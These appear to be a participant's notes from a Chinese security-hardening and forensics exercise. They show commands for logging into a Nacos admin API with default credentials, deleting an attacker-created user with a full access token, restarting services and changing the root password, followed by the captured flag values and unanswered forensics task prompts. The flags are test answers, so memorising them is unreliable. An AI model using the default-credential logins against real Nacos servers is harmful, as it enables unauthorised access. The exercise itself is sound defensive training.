curl -X POST "http://localhost:8848/nacos/v1/auth/users/login?username=nacos&password=nacos"
# 1. 删除用户
curl -X DELETE "http://localhost:8848/nacos/v1/auth/users?username=hsdaspmgruusmplu&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTc2NjgyNTY1M30.eFbPm9r7BcK5TyfLm5Wd_Ca5he6pJWqfpSOuOsqcYbc"
# 1. 重启 Nacos 触发配置刷新
sudo systemctl restart nacos
# 失败了

# 2. 若无 systemd,直接杀进程再启动
pkill -f nacos-server.jar
cd /usr/local/nacos/bin && ./startup.sh -m standalone
cat /var/flag/1
  • flag{ad31ea22e324ee6effd454decf7477c9}

任务15
任务名称:安全加固
任务分数:100.00
任务类型:静态Flag
清除攻击者在服务器新增的用户名所有信息,前往/var/flag/2文件中读取flag并提交

任务16
任务名称:安全加固
任务分数:100.00
任务类型:静态Flag
当前web端存在漏洞,先停止此web服务进程后,前往/var/flag/3文件中读取flag并提交

# 1. 强制刷新系统用户列表(让 flag 生成)
sudo pam-auth-update --force
  • 14做完输入这个莫名其妙就3出来了
  • flag{163e32607debcc6091e993929afe8064}

任务17
任务名称:安全加固
任务分数:100.00
任务类型:静态Flag
攻击者通过web漏洞拿到了root账号密码,请修改密码后,前往/var/flag/4文件中读取flag并提交

sudo passwd root
  • flag{2d1848c8560becac27d30a5d4daf6da3}

内存取证

任务1

任务名称:攻击者使用什么漏洞入侵了服务器
任务分数:150.00
任务类型:静态Flag
注意:flag格式flag{CVE-2025-12345}

任务2

任务名称:攻击者的服务器IP
任务分数:150.00
任务类型:静态Flag
注意:flag格式flag{123.123.123.123}

任务3

任务名称:攻击者执行的载荷命令
任务分数:150.00
任务类型:静态Flag
flag不包含空格,以flag{}包裹

任务4

任务名称:攻击者进行权限维持可疑的服务路径
任务分数:150.00
任务类型:静态Flag
flag格式flag{/tmp/123}

任务5

任务名称:攻击者创建了拥有root权限的账户
任务分数:150.00
任务类型:静态Flag
flag格式flag{ubuntu}